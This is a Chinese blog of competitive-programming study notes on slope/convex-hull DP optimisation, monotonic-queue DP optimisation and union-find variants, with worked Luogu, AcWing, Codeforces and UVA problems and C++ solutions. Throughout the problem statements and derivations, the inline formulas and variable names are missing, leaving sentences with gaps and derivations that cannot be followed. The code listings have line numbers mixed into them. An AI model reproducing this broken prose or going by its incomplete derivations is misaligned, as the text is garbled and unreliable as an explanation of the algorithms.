            dp[i] = dp[j] + a * X * X + b * X + c; // 代入状态转移方程
49
            while (hh < tt && slope(q[tt], q[tt - 1]) <= slope(i, q[tt])) tt--; // 不满足上凸包性质，弹出
50
            q[++tt] = i; // 插入新点
51
        }
52
        cout << (ll) dp[n] << endl; // 注意转型成整型
53
    }
54
    return 0;
55
}

展开收起

DP斜率优化/凸包优化做题笔记

Wed, 24 Jul 2024 03:15:23 GMT

受限于在线编辑器的性能瓶颈（省流：写太多了会很卡），在此决定把另外的（不在算法提高课中）DP斜率优化题目单独拎出来写一篇做题笔记。旨在记录算式消元换元的原则与技巧、凸包维护的方法。题目大致由易到难。

洛谷 P3195 [HNOI2008] 玩具装箱#

题目地址：P3195

题目难度：省选/NOI-

P 教授要去看奥运，但是他舍不下他的玩具，于是他决定把所有的玩具运到北京。他使用自己的压缩器进行压缩，其可以将任意物品变成一堆，再放到一种特殊的一维容器中。
P 教授有编号为的件玩具，第件玩具经过压缩后的一维长度为。
为了方便整理，P教授要求：

在一个一维容器中的玩具编号是连续的。

同时如果一个一维容器中有多个玩具，那么两件玩具之间要加入一个单位长度的填充物。形式地说，如果将第件玩具到第个玩具放到一个容器中，那么容器的长度将为。

制作容器的费用与容器的长度有关，根据教授研究，如果容器长度为，其制作费用为。其中是一个常量。P 教授不关心容器的数目，他可以制作出任意长度的容器，甚至超过。但他希望所有容器的总费用最小。
输入格式：
第一行有两个整数，用一个空格隔开，分别代表和。
第到第行，每行一个整数，第行的整数代表第件玩具的长度。
输出格式：
输出一行一个整数，代表所有容器的总费用最小是多少。
数据结构：
对于全部的测试点，，，。

这道题就和《任务安排》一个模子了。设计状态为选前个物品的花费最小值。同样枚举然后代入题面长度公式，我们就能得到的暴力递推公式：dp[i] = min(dp[i], dp[j] + (i - j - 1 + sumC[i] - sumC[j] - L) * (i - j - 1 + sumC[i] - sumC[j] - L))。

对等式进行化简：

考虑到为常数，换元，因此：

发现一组同构，令，再次化简为：

然后拆括号：

我们的斜率需要一个只和循环变量（以及常数项）有关的值，对于直线方程，我们不希望斜率里出现任何有关不定项的元素。综上，我们移项得到如下：

此时直线方程的每个要素都很明了了。因为为正，就有单调递增。根据上式有，不单调递减，启示我们维护截距的最小值。因此可以直接单调队列维护下凸壳。具体要求如下：

创建一个双端队列来存放凸包上的点的下标
如果队头元素满足，则弹出队头。因为队头所维护的点的斜率已经失去最优性，在单调递增的斜率意义下不会再被用到。
如果队尾元素满足，则弹出队尾。因为引入的新点使得原先维护的最值点不再最值，类比单调队列中不符合单调性时的弹出操作。

为了避免如上除法操作带来精度影响，故采用交叉相乘法。此时就需要注意相乘结果是否会爆类型。

代码在此

推式子时居然把斜率弄成了？？？

洛谷 P3628 [APIO2010] 特别行动队#

题目地址：P3628

题目难度：省选/NOI-

题目来源：APIO 2010

你有一支由名预备役士兵组成的部队，士兵从到编号，你要将他们拆分成若干特别行动队调入战场。出于默契的考虑，同一支特别行动队中队员的编号应该连续，即为形如的序列。所有的队员都应该属于且仅属于一支特别行动队。
编号为的士兵的初始战斗力为，一支特别行动队的初始战斗力为队内士兵初始战斗力之和，即。
通过长期的观察，你总结出对于一支初始战斗力为的特别行动队，其修正战斗力，其中是已知的系数（）。作为部队统帅，现在你要为这支部队进行编队，使得所有特别行动队的修正战斗力之和最大。试求出这个最大和。
输入格式：
输入的第一行是一个整数，代表士兵的人数。
输入的第二行有三个用空格隔开的整数，依次代表，即修正战斗力的系数。
输入的第三行有个用空格隔开的整数，第个整数代表编号为的士兵的初始战斗力。
输出格式：
输出一行一个整数，代表最大的所有特别行动队战斗力之和。
数据范围：
对于的数据，。
对于的数据，
对于的数据，，，，，。

写出暴力状态转移方程：dp[i] = max(dp[i], dp[j] + a * X * X + b * X + c)，其中。能拿分，考虑优化。

那么斜率就是、就是、截距。我们需要最大化，观察到，我们需要让截距最大化。

类比先前推导过的最小化截距的方法，我们可以轻松得出一个结论——截距最大化，维护上凸壳！自己画个图可以知道，我们需要找的最值点就是第一个斜率小于当前直线斜率的点。观察到有单调性，因此使用单调队列维护。因为这里的是负数，所以在判断出队时需要变号。

代码在此

动态规划的几种优化方式 Day2 斜率优化

Tue, 23 Jul 2024 02:25:45 GMT

前情提要：Day1 单调队列优化

斜率优化#

引洛谷 P2365 任务安排#

题目地址：P2365

题目难度：提高+/省选-

个任务排成一个序列在一台机器上等待完成（顺序不得改变），这个任务被分成若干批，每批包含相邻的若干任务。
从零时刻开始，这些任务被分批加工，第个任务单独完成所需的时间为。在每批任务开始前，机器需要启动时间，而完成这批任务所需的时间是各个任务需要时间的总和（同一批任务将在同一时刻完成）。
每个任务的费用是它的完成时刻乘以一个费用系数。请确定一个分组方案，使得总费用最小。
输入格式：
第一行一个正整数。第二行是一个整数。
下面行每行有一对数，分别为和，表示第个任务单独完成所需的时间是及其费用系数。
输出格式：
一个数，最小的总费用。
数据范围：
对于的数据，，，。

按照样例最优解给出的图示如上。

根据题目，我们的总花费应是每一组所包含线段的之和乘上该组的结束时刻（终点在数轴上的横坐标）并求每一组的和。即。

我们可以发现，最终结果受分组情况的影响。在每一组的开头，均有一段机器的启动时间，它可能会对后期某一组的结束时刻造成影响。有一个技巧，即提前把启动段造成的影响计算出来，而这很明显会牵扯到前缀和的计算。例如下边这个更为普遍的图：

假设 dp[i] 代表将前个单任务全部分组完毕后的最小花费。在某一时刻，我们已经将前个任务分成了两个待处理的区间，并且准备把剩下的区间划分为一组。分组就涉及到每组起始时的启动时间。对于已经处理好的区间，我们有 dp[j] 可以直接拿来调用；对于剩下的待处理区间，我们的总花费是。其中项的另一个乘数就代表在此处分组，启动时间对后边所有的花费带来的影响。因为公式里出现了部分和，因此预处理的前缀和。

注意到，且，因此算法是的。因为数据较小，此方法可以通过，状态转移方程 dp[i] = min(dp[i], dp[j] + sumT[i] * (sumF[i] - sumF[j]) + s * (sumF[n] - sumF[j]))。

AcWing 301 任务安排2#

题目地址：AcWing 301

题目难度：中等

题面相同，本题数据范围扩大到：，，

状态转移方程与上一题完全相同，我们在这里探讨它的优化方式。

我们的目的是把求解状态的时间复杂度降落到及以下，首先就需要压缩维度。先从的循环开始——观察到方程中涉及到的项有两个：dp[j] 和 sumF[j]。我们将拆出来，便于简化。得到：

由题目给定，每次循环的均有一个固定值，因此有关的项为定值。例如、。我们成功地把整个算式改造成了更为清爽的形式。联想到直线的斜截式方程：把转移方程看作这样一个方程，那么斜率，截距。

我们需要最小化，显然需要让最小，因为。因为直线过点，……相应地，点等也在这条直线上，问题再度简化为：“对于每次变化的斜率，找出一个点，使得当前直线截距最小”。

可以发现，无论直线的斜率再怎么变动，能让截距取得最值的那个点从始至终都是下边的那几个。事实上，对于斜率为的直线，让它取得最值的点都是第一个斜率比大的点。剩下的点就完全是鸡肋了。

二维凸包是指内角均在范围内的凸多边形，相当于用一个橡皮筋围住一些固定的大头针，橡皮筋围出来的图形就是一个凸包。因为橡皮筋总是自发地向周长减小的方向去收缩，因而凸包在周长上具有优势。在上图中，红色线连出来的就是一个凸包的下边界。从左至右，每两个点连线的斜率是单调递增的，且直线倾斜角小于。这启发我们把下边界上的每个点的斜率统计出来，然后组成一个斜率单调递增的点序列，对于每条直线，在序列中找到第一个斜率大于当前直线斜率的点即可，从而想到使用 upper_bound 或者是二分解决。

在本题中，有一些奇妙的性质。这些性质允许我们不使用二分，而是直接查询合法解：

均为正整数，对于它们的前缀和显然也如此。循环时，是单调递增的。
每次新加入一个点时，由于如上的单调性，点的横坐标是单调递增的。

因此我们在查询时，把队头斜率小于当前斜率的点弹出；插入时把队尾不在凸包上的点删去，其实就是让新读取的点代替原先的点。定量来说，就是：当时弹出点；当时弹出队尾点（代码中常用交叉相乘避免除法精度问题，但需要开 long long）。循环时只需要把设置成符合要求的凸包上的点就行了。以上其实也是扫描法维护凸包的核心思想。因为涉及到队列中非首尾元素的访问，故使用数组模拟。

1
#include <bits/stdc++.h>
2
#define N 300010
3
using namespace std;
4

5
typedef long long ll;
6

7
ll dp[N];
8
ll f[N], t[N];
9
int q[N];
10

11
int main() {
12
    ios::sync_with_stdio(false);
13
    cin.tie(nullptr);
14
    cout.tie(nullptr);
15

16
    int n, s;
17
    cin >> n >> s;
18
    for (int i = 1; i <= n; i++) {
19
        cin >> t[i] >> f[i];
20
        f[i] += f[i - 1];
21
        t[i] += t[i - 1];
22
    }
23
    int hh = 0, tt = 0;
24
    q[0] = 0;
25
    for (int i = 1; i <= n; i++) {
26
        while (hh < tt && (dp[q[hh + 1]] - dp[q[hh]]) <= (t[i] + s) * (f[q[hh + 1]] - f[q[hh]])) hh++;
27
        int j = q[hh];
28
        dp[i] = dp[j] - (t[i] + s) * f[j] + f[i] * t[i] + s * f[n];
29
        while (hh < tt && (dp[q[tt]] - dp[q[tt - 1]]) * (f[i] - f[q[tt]]) >= (dp[i] - dp[q[tt]]) * (f[q[tt]] - f[q[tt - 1]])) tt--;
30
        q[++tt] = i;
31
    }
32
    cout << dp[n] << endl;
33
    return 0;
34
}

展开收起

洛谷 P5785 [SDOI2012] 任务安排/AcWing 302 任务安排3#

题目地址：P5785/AcWing 302

题目难度：省选/NOI-/困难

题目来源：山东 2012 各省省选

题面相同，数据范围中可能为负数。

为负数，代表它的前缀和，或者更进一步—— 不再单调递增。此时使用单调队列维护凸包的思路就不再正确。但是考虑到我们要求大于当前斜率且斜率相对最小的点（最大的最小），考虑二分。

需要注意的是，尽管待求直线的斜率失去了单调性，但是凸包的基本性质并没改变，下凸包相邻两点构成的斜率还是单调递增的。因此继续用队列维护凸包，这时只需维护点是否在凸包上，即不满足要求时弹出队尾。对于每次的输入，都二分出一个斜率大于它且最接近它的凸包点，把赋值过去就完成了（把 int j = q[hh] 替换成二分查找）。

由于本题数据较大，在交叉相乘时可能会爆，因此推荐使用 double 或 __int128。

1
#include <bits/stdc++.h>
2
#define N 300010
3
using namespace std;
4

5
typedef long long ll;
6

7
ll dp[N];
8
ll f[N], t[N];
9
int tt = 0;
10
int q[N];
11

12
int upperbound(ll piv) {
13
    int L = 0, R = tt;
14
    while (L < R) {
15
        int mid = (L + R) >> 1;
16
        if ((__int128) (dp[q[mid + 1]] - dp[q[mid]]) > (__int128) (f[q[mid + 1]] - f[q[mid]]) * piv) R = mid;
17
        else L = mid + 1;
18
    }
19
    return q[L];
20
}
21

22
int main() {
23
    ios::sync_with_stdio(false);
24
    cin.tie(nullptr);
25
    cout.tie(nullptr);
26

27
    int n, s;
28
    cin >> n >> s;
29
    for (int i = 1; i <= n; i++) {
30
        cin >> t[i] >> f[i];
31
        t[i] += t[i - 1];
32
        f[i] += f[i - 1];
33
    }
34
    q[0] = 0;
35
    for (int i = 1; i <= n; i++) {
36
        int j = upperbound(t[i] + s);
37
        dp[i] = dp[j] - (t[i] + s) * f[j] + f[i] * t[i] + s * f[n];
38
        while (tt && (__int128) (dp[q[tt]] - dp[q[tt - 1]]) * (f[i] - f[q[tt]]) >= (__int128) (dp[i] - dp[q[tt]]) * (f[q[tt]] - f[q[tt - 1]])) tt--;
39
        q[++tt] = i;
40
    }
41
    cout << dp[n] << endl;
42
    return 0;
43
}

展开收起

CF 311B Cats Transport#

题目地址：CF 311B

题目难度：省选/NOI-

Zxr960115 是一个大农场主。
他养了只可爱的猫子,雇佣了个铲屎官。这里有一条又直又长的道路穿过了农场，有个山丘坐落在道路周围，编号自左往右从到。山丘与山丘的距离是米。铲屎官们住在号山丘。
一天，猫子们外出玩耍。猫子去山丘游玩，在时间结束他的游玩，然后在山丘傻等铲屎官。铲屎官们必须把所有的猫子带上。每个铲屎官直接从走到，中间不停下，可以认为不花费时间的把游玩结束的猫子带上。每个铲屎官的速度为一米每单位时间，并且足够强壮来带上任意数量的猫子。
举个栗子，假装我们有两个山丘( )，有一只猫子，他想去山丘玩到时间。然后铲屎官如果在时间或者时间从号山丘出发，他就能抱走猫子。如果他在时间出发那么就不行(猫子还在玩耍)。如果铲屎官在时间出发，猫子就不用等他（）。如果他在时间出发，猫子就要等他个单位时间。
你的任务是安排每个铲屎官出发的时间(可以从 0 时刻之前出发），最小化猫子们等待的时间之和。
对于全部的数据，满足，，，，，。
输入格式：
输入的第一行是三个整数。
第二行有个整数，分别是。
接下来行，每行两个整数。
输出格式：
一行一个整数，为最小化的等待时间之和。
在本题中，请务必使用 cin/cout 或者 %I64d 通配符来读入64位整数。

读题就能发现，我们的饲养员的行走时间和的前缀和有关，因此预处理出来，重定义。根据题意我们知道，当饲养员的出发时间早于或等于时，都等价于（刚好接到，毕竟干等着猫玩完的那一刻再接回去也是一样的），可以看作是饲养员出发时间的下限。更普遍地，假设饲养员出发的时间为，就有。

接下来的转换非常巧妙：定义，即最早出发时间。按照升序排序获得一个新的序列，我们试着把排序后的山分组，使得总等待时间最小。看上去就有点《任务安排》三部曲的意思了。

假如我们的饲养员想要一次性接完排序的小猫，他的最早出发时间就是，号总的等待时间就是（）。普遍规律就是：

这道题还有一个硬性要求——饲养员的个数不超过，因此开两维动态规划数组 dp[i][j] 表示使用了名饲养员去接前只小猫的最小等待时长总和。在范围内，用中间变量分隔开：对于，它的最小值就是 dp[k][j - 1]，那么我们派出第名饲养员去接小猫，造成的花费是。至此这道题完全转化为了《任务安排》三部曲。状态转移方程为：dp[i][j] = min(dp[i][j], dp[k][j - 1] + (i - k) * a[i] - (sumA[i] - sumA[k]))

同样的思路，我们把方程化简成的形式。原则是把斜率设置成不变量，因此得到：

斜率是，注意到当前是单调递增的，因此沿用单调队列来维护整个凸包。

1
#include <bits/stdc++.h>
2

3
#define N 200010
4
#define P 110
5
using namespace std;
6

7
typedef long long ll;
8

9
int q[N];
10
ll dp[N][P], a[N];
11
ll sumD[N], sumA[N];
12

13
int main() {
14
    ios::sync_with_stdio(false);
15
    cin.tie(nullptr);
16
    cout.tie(nullptr);
17

18
    int n, m, p;
19
    cin >> n >> m >> p;
20
    for (int i = 2; i <= n; i++) {
21
        cin >> sumD[i];
22
        sumD[i] += sumD[i - 1];
23
    }
24
    for (int i = 1; i <= m; i++) {
25
        int h, t;
26
        cin >> h >> t;
27
        a[i] = t - sumD[h];
28
    }
29
    sort(a + 1, a + 1 + m);
30
    for (int i = 1; i <= m; i++) sumA[i] = sumA[i - 1] + a[i];
31

32
    memset(dp, 0x3f, sizeof dp);
33
    for (int i = 0; i <= p; i++) dp[0][i] = 0;
34

35
    for (int j = 1; j <= p; j++) {
36
        int hh = 0, tt = 0;
37
        q[0] = 0;
38
        for (int i = 1; i <= m; i++) {
39
            while (hh < tt && dp[q[hh + 1]][j - 1] + sumA[q[hh + 1]] - dp[q[hh]][j - 1] - sumA[q[hh]] <= a[i] * (q[hh + 1] - q[hh])) hh++;
40
            dp[i][j] = dp[q[hh]][j - 1] + i * a[i] - q[hh] * a[i] - sumA[i] + sumA[q[hh]];
41
            while (hh < tt && (dp[q[tt]][j - 1] + sumA[q[tt]] - dp[q[tt - 1]][j - 1] - sumA[q[tt - 1]]) * (i - q[tt]) >= (dp[i][j - 1] + sumA[i] - dp[q[tt]][j - 1] - sumA[q[tt]]) * (q[tt] - q[tt - 1])) tt--;
42
            q[++tt] = i;
43
        }
44
    }
45
    cout << dp[m][p] << endl;
46
    return 0;
47
}

展开收起

动态规划的优化方式 Day1 单调队列优化

Sun, 21 Jul 2024 00:37:55 GMT

有人私信我，说能不能不要在博客里写那么多“显然”。我的回答是：“好的，全部换成‘Apparently’”。我寻思我也没写那么多显然啊

单调队列优化#

简介#

我们都知道单调队列是用来维护一个序列的单调性的，在一个定长区间内，单调队列可以做到输出当前扫描区间内的最值元素。通过维护区间最值，在动态规划问题中，可以有效节省状态枚举带来的效率浪费，有时还可以用来对数组降维，是非常实用且简单的优化方法。

优化一个动态规划问题需要首先提出它的朴素解法，在保证正确性的前提下再来思考它的优化方式。例如下面这几道例题：

洛谷 P1714 切蛋糕#

题目地址：P1714

题目难度：普及+/提高

今天是小 Z 的生日，同学们为他带来了一块蛋糕。这块蛋糕是一个长方体，被用不同色彩分成了个相同的小块，每小块都有对应的幸运值。
小 Z 作为寿星，自然希望吃到的蛋糕的幸运值总和最大，但小 Z 最多又只能吃小块的蛋糕。
请你帮他从这小块中找出连续的块蛋糕，使得其上的总幸运值最大。
形式化地，在数列中，找出一个子段，最大化。
输入格式：
第一行两个整数。分别代表共有小块蛋糕，小 Z 最多只能吃小块。
第二行个整数，第个整数代表第小块蛋糕的幸运值。
输出格式：
仅一行一个整数，即小 Z 能够得到的最大幸运值。
数据范围：

对于的数据，有。

对于的数据，有，。

保证答案的绝对值在之内。

首先提出一个朴素做法：预处理序列的前缀和，记作 sum 数组，假设 dp[i]是以a[i] 结尾、子段长度不超过的最大子段和。那么：

因此首先可以设计出一个双层循环，外层，内层。这样做的时间复杂度是，对于的数据无能为力，至少需要提出一个的算法来解决。因此我们想到的单调队列优化。

对于每一次外层循环，有一个固定的值，因而是定值，是我们处理的的前缀和。因此最大化上式，只需要让取最小值即可。那么，求就可以转化为滑动窗口问题了。

1
#include <bits/stdc++.h>
2
#define N 500010
3
using namespace std;
4

5
int sum[N], a[N];
6
deque<int> q;
7

8
int main() {
9
    ios::sync_with_stdio(false);
10
    cin.tie(nullptr);
11
    cout.tie(nullptr);
12

13
    int n, m;
14
    cin >> n >> m;
15
    for (int i = 1; i <= n; i++) {
16
        cin >> a[i];
17
        sum[i] = sum[i - 1] + a[i];
18
    }
19
    int ans = -INT_MAX;
20
    for (int i = 1; i <= n; i++) {
21
        while (!q.empty() && sum[i - 1] < sum[q.front()]) q.pop_front();
22
        q.push_front(i - 1);
23
        if (i - 1 - q.back() == m) q.pop_back();
24
        ans = max(ans, sum[i] - sum[q.back()]);
25
    }
26
    cout << ans << endl;
27
    return 0;
28
}

展开收起

洛谷 P2627 [USACO11OPEN] Mowing the Lawn G#

题目地址：P2627

题目难度：提高+/省选-

题目来源：USACO 2011

在一年前赢得了小镇的最佳草坪比赛后，Farmer John 变得很懒，再也没有修剪过草坪。现在，新一轮的最佳草坪比赛又开始了，Farmer John 希望能够再次夺冠。
然而，Farmer John 的草坪非常脏乱，因此，Farmer John 只能够让他的奶牛来完成这项工作。Farmer John 有（）只排成一排的奶牛，编号为。每只奶牛的效率是不同的，奶牛的效率为（）。
靠近的奶牛们很熟悉，因此，如果 Farmer John安排超过只连续的奶牛，那么，这些奶牛就会罢工去开派对 :)。因此，现在 Farmer John 需要你的帮助，计算 FJ 可以得到的最大效率，并且该方案中没有连续的超过只奶牛。
输入格式：
第一行：空格隔开的两个整数和。
第二到行：第行有一个整数。
输出格式：
第一行：一个值，表示 Farmer John 可以得到的最大的效率值。

既然不能有超过个连续的元素被选中，转换一下就变成了在个元素中至少要选中其中一个。题目要求总效率最高，那我们就让未选奶牛的效率总和最小就行了。假设 dp[i] 代表在前只奶牛中，且不选择第只奶牛损失的最小效率。初始时， dp[i] = e[i]，在动态规划过程中，对于当前的每一个，都在前个元素中选择最小的那个累加（使用单调队列维护长为的滑动窗口）即可。在最后个计算值中取最小的，用总和减去就行。

1
#include <bits/stdc++.h>
2
#define N 100010
3
using namespace std;
4

5
typedef long long ll;
6

7
ll dp[N];
8
ll sum;
9
int main() {
10
    ios::sync_with_stdio(false);
11
    cin.tie(nullptr);
12
    cout.tie(nullptr);
13

14
    int n, k;
15
    cin >> n >> k;
16
    for (int i = 1; i <= n; i++) {
17
        cin >> dp[i];
18
        sum += dp[i];
19
    }
20
    deque<ll> q;
21
    ll ans = INFINITY;
22
    q.push_front(0);
23
    for (int i = 1; i <= n; i++) {
24
        if (i - q.back() > k + 1) q.pop_back();
25
        dp[i] += dp[q.back()];
26
        while (!q.empty() && dp[i] < dp[q.front()]) q.pop_front();
27
        q.push_front(i);
28
    }
29
    for (int i = n - k; i <= n; i++) ans = min(ans, dp[i]);
30
    cout << sum - ans << endl;
31
    return 0;
32
}

展开收起

双倍经验：P2034 选择数字。

洛谷 P2216 [HAOI2007] 理想的正方形#

题目地址：P2216

题目难度：普及+/提高

题目来源：河南 2007 各省省选

有一个的整数组成的矩阵，现请你从中找出一个的正方形区域，使得该区域所有数中的最大值和最小值的差最小。
输入格式：
第一行为个整数，分别表示的值。
第二行至第行每行为个非负整数，表示矩阵中相应位置上的数。每行相邻两数之间用一空格分隔。
输出格式：
仅一个整数，为矩阵中所有“ 正方形区域中的最大整数和最小整数的差值”的最小值。
数据范围：
矩阵中的所有数都不超过。
的数据。
的数据。

其实跟动态规划没啥关系，按理说应该只归到单调队列下的

这道题首先需要我们找出一个正方形区域内的最大和最小值，运算的性质—— 启发我们可以先将每一行连续个数的最值统一存起来，然后再按列求最值，最终就得到了这个正方形区块内的最值元素。每次求出列最值后直接更新答案就好。需注意的是传参时是 a 还是 b。

1
#include <bits/stdc++.h>
2

3
#define N 1010
4
using namespace std;
5

6
int g[N][N];
7
int row_min[N][N], row_max[N][N], col_min[N], col_max[N];
8
int tmp[N];
9
int a, b, n;
10
deque<int> q;
11

12
void getMax(const int arr[], int dest[], int size) {
13
    // Get max segmental element from arr and copy the result to dest
14
    q.clear();
15
    for (int i = 1; i <= size; i++) {
16
        if (!q.empty() && i - q.back() >= n) q.pop_back();
17
        while (!q.empty() && arr[i] >= arr[q.front()]) q.pop_front();
18
        q.push_front(i);
19
        dest[i] = arr[q.back()];
20
    }
21
}
22

23
void getMin(const int arr[], int dest[], int size) {
24
    q.clear();
25
    for (int i = 1; i <= size; i++) {
26
        if (!q.empty() && i - q.back() >= n) q.pop_back();
27
        while (!q.empty() && arr[i] <= arr[q.front()]) q.pop_front();
28
        q.push_front(i);
29
        dest[i] = arr[q.back()];
30
    }
31
}
32

33
int main() {
34
    ios::sync_with_stdio(false);
35
    cin.tie(nullptr);
36
    cout.tie(nullptr);
37

38
    cin >> a >> b >> n;
39
    for (int i = 1; i <= a; i++) {
40
        for (int j = 1; j <= b; j++) {
41
            cin >> g[i][j];
42
        }
43
    }
44
    for (int i = 1; i <= a; i++) {
45
        getMax(g[i], row_max[i], b);
46
        getMin(g[i], row_min[i], b);
47
    }
48
    int res = INFINITY;
49
    for (int i = n; i <= b; i++) {
50
        for (int j = 1; j <= a; j++) tmp[j] = row_max[j][i];
51
        getMax(tmp, col_max, a);
52

53
        for (int j = 1; j <= a; j++) tmp[j] = row_min[j][i];
54
        getMin(tmp, col_min, a);
55

56
        for (int j = n; j <= a; j++) res = min(res, col_max[j] - col_min[j]);
57
    }
58
    cout << res << endl;
59
    return 0;
60
}

展开收起

三倍经验：P9905 [COCI 2023/2024 #1] AN2DL、CF846D Monitor.

并查集的高级用法——权值并查集与种类并查集

Fri, 19 Jul 2024 03:36:41 GMT

并查集#

并查集，或称DSUDisjoint Set Union，是一种管理元素所属集合的数据结构。每次查询时把沿途的节点的父节点一并设置成全局父节点，从而达到均摊复杂度的超高效率（其中为的反阿克曼函数，可以看作为常数复杂度）。基于并查集的许多特性（包括好写），人们开发出了许多不同种类不同用途的并查集，其中就包括带边权的权值并查集和对元素进行分类的种类并查集。这篇文章将探讨这两种并查集的实现及相关应用。

权值并查集#

在并查集的边上加上边权，每次查找父节点时把边权向上推送更新，从而达到类似于线段树 pushup 操作的效果。

UVA 11987 Almost Union-Find#

题目地址：UVA 11987

题目难度：提高+/省选-

有个集合，次操作。规定第个集合里初始只有。有三种操作：

输入两个元素和，若和不在一个集合中，合并两个元素的集合。

输入两个元素和，若和不在一个集合中，把添加到所在的集合。

输入一个元素，查询所在集合的元素个数和所有元素之和。

输入格式：
有几组数据。
每组数据第一行输入和两个整数。
每组数据以下行，每行第一个数代表选择哪一个命令，若是或命令，则再输入两个整数和。若是，则输入一个整数。
输入文件结束符（EOF）结束输入。
输出格式：
输出行数为每组数据号命令的总数。
每一行输出两个整数和，即元素个数和元素和。
数据范围：
，。
原题面 PDF：Here

这道题在普通并查集维护所属集合的要求外，另外要求我们维护并查集的集合大小及元素总和，因此考虑权值并查集。基本思路是：在每次合并操作时，更新被插入集合父节点的 sum 与 size，累加上待插入集合的 sum 与 size 即可。特殊一点，对于移动操作（相当于把待插入集合变成一个大小为的单点）也是一样。

那么如何实现单点的移动呢？一般的思路是把点的父亲直接指向被插入集合的根，但这显然是错误的，因为：

当我们根据并查集的标准合并方式合并节点到树时，我们会把从属于号的号节点也一并接过去，这是我们不希望的，期望效果是只把送过去，只留下号一个在原位置。

那我们就需要提出一种建图方式，使得不直接与相连，但是要求又属于树。考虑为每个集合设置虚拟源点，初始时每个集合就是以虚拟源点为根，普通节点为叶子的两点集合。如此一来，移动操作就变成了下图：

然后就可以按照普通并查集的方法解了（因为创建了个虚拟源点，空间要开二倍）。

1
#include <bits/stdc++.h>
2

3
#define N 200010
4

5
using namespace std;
6

7
typedef long long ll;
8

9
int p[N], vol[N];
10
ll sum[N];
11

12
int find(int x) {
13
    if (p[x] != x) p[x] = find(p[x]);
14
    return p[x];
15
}
16

17
void merge(int a, int b) {
18
    int u = find(a), v = find(b);
19
    p[u] = v;
20
    sum[v] += sum[u];
21
    vol[v] += vol[u];
22
}
23

24
void move(int a, int dest) {
25
    int u = find(a), v = find(dest);
26
    p[a] = v;
27
    vol[v]++;
28
    vol[u]--;
29
    sum[u] -= a;
30
    sum[v] += a;
31
}
32

33
bool related(int a, int b) {
34
    return find(a) == find(b);
35
}
36

37
int main() {
38
    ios::sync_with_stdio(false);
39
    cin.tie(nullptr);
40
    cout.tie(nullptr);
41

42
    int n, m;
43
    while (cin >> n >> m) {
44
        for (int i = 1; i <= 2 * n; i++) {
45
            if (i <= n) {
46
                p[i] = i + n;
47
                vol[i] = 1;
48
                sum[i] = i;
49
            } else if (i > n) {
50
                p[i] = i;
51
                vol[i] = 1;
52
                sum[i] = i - n;
53
            }
54
        }
55
        while (m--) {
56
            int k, a, b;
57
            cin >> k;
58
            if (k == 1) {
59
                cin >> a >> b;
60
                if (!related(a, b)) merge(a, b);
61
            } else if (k == 2) {
62
                cin >> a >> b;
63
                if (!related(a, b)) move(a, b);
64
            } else {
65
                cin >> a;
66
                int u = find(a);
67
                cout << vol[u] << ' ' << sum[u] << endl;
68
            }
69
        }
70
    }
71
    return 0;
72
}

展开收起

练习：P1196 [NOI2002] 银河英雄传说

种类并查集#

一般的并查集可以用来维护一个带有传递性和连通性的集合，例如你亲戚的亲戚仍然是你的亲戚，普通并查集就可以做到维护你的所有亲戚和非亲戚，并判断某人是否是你的亲戚；而种类并查集则是它的升级，普通的并查集显然无法轻易维护诸如“敌人的敌人是朋友”的人际关系。这时，我们就可以多开几个普通的并查集用来维护不同类别之间的关系，即种类并查集。

P2024 [NOI2001] 食物链#

题目地址：P2024

题目难度：普及+/提高

题目来源：NOI 2001

动物王国中有三类动物，这三类动物的食物链构成了有趣的环形。吃，吃，吃。
现有个动物，以编号。每个动物都是中的一种，但是我们并不知道它到底是哪一种。
有人用两种说法对这个动物所构成的食物链关系进行描述：

第一种说法是 1 X Y，表示和是同类。

第二种说法是2 X Y，表示吃。

此人对个动物，用上述两种说法，一句接一句地说出句话，这句话有的是真的，有的是假的。当一句话满足下列三条之一时，这句话就是假话，否则就是真话。

当前的话与前面的某些真的话冲突，就是假话；

当前的话中或比大，就是假话；

当前的话表示吃，就是假话。

你的任务是根据给定的和句话，输出假话的总数。
输入格式：
第一行两个整数，，表示有个动物，句话。
第二行开始每行一句话（按照题目要求，见样例）
输出格式：
一行，一个整数，表示假话的总数。
数据范围：
对于全部数据，，。

这道题是种类并查集的经典应用之一，用来判断一个不等式组是否有冲突矛盾。之前在讲Floyd 传递闭包的时候，我们就介绍了用传递闭包求解不等式组解的情况的方法。但是这种基于算法的解法，其时间复杂度是恐怖的，在这道题里显然会超时，我们转而使用种类并查集来解决这道题。

整理一下题面，把这些动物分成三类——“国王”、“大臣”和“平民”。国王统治大臣、大臣压榨平民、平民推翻国王。但是关键是我们不知道动物的初始分类，因此我们在每一类里都放上个节点。

然后，对于操作 ——可能出现的矛盾是：二者不为同类，这里却归为同类；对于操作，可能出现的是：倒反天罡（大臣搞国王、平民踩大臣）、自残（自己吃自己）。换句话说，如果某个节点的根指到其他区域，那么这两个动物在当前信息下不可能成为同类；如果不满足镇压关系的二者共用同一个根，显然也不成立。

根据并查集所带的实际意义判断即可。注意如果当前命题是正确的，不要忘记合并到并查集里。

1
#include <bits/stdc++.h>
2

3
#define N 50010
4
using namespace std;
5

6
int p[N * 3];
7
int n;
8

9
int find(int x) {
10
    if (p[x] != x) p[x] = find(p[x]);
11
    return p[x];
12
}
13

14
void merge(int a, int b) {
15
    p[find(a)] = find(b);
16
}
17

18
bool related(int a, int b) {
19
    return find(a) == find(b);
20
}
21

22
int main() {
23
    ios::sync_with_stdio(false);
24
    cin.tie(nullptr);
25
    cout.tie(nullptr);
26

27
    int k, ans = 0;
28
    cin >> n >> k;
29
    for (int i = 1; i <= 3 * n; i++) p[i] = i;
30
    while (k--) {
31
        int op, x, y;
32
        cin >> op >> x >> y;
33
        if (x > n || y > n) ans++;
34
        else if (op == 1) {
35
            if (related(x + n, y) || related(x, y + n)) ans++;
36
            else {
37
                merge(x, y);
38
                merge(x + n, y + n);
39
                merge(x + 2 * n, y + 2 * n);
40
            }
41
        } else {
42
            if (related(x, y) || related(x, y + n)) ans++;
43
            else {
44
                merge(x, y + 2 * n);
45
                merge(x + n, y);
46
                merge(x + 2 * n, y + n);
47
            }
48
        }
49
    }
50
    cout << ans << endl;
51
    return 0;
52
}

展开收起

练习：P1955 [NOI2015] 程序自动分析

基础数据结构合辑

Thu, 18 Jul 2024 06:46:30 GMT

单调栈/单调队列#

单调栈#

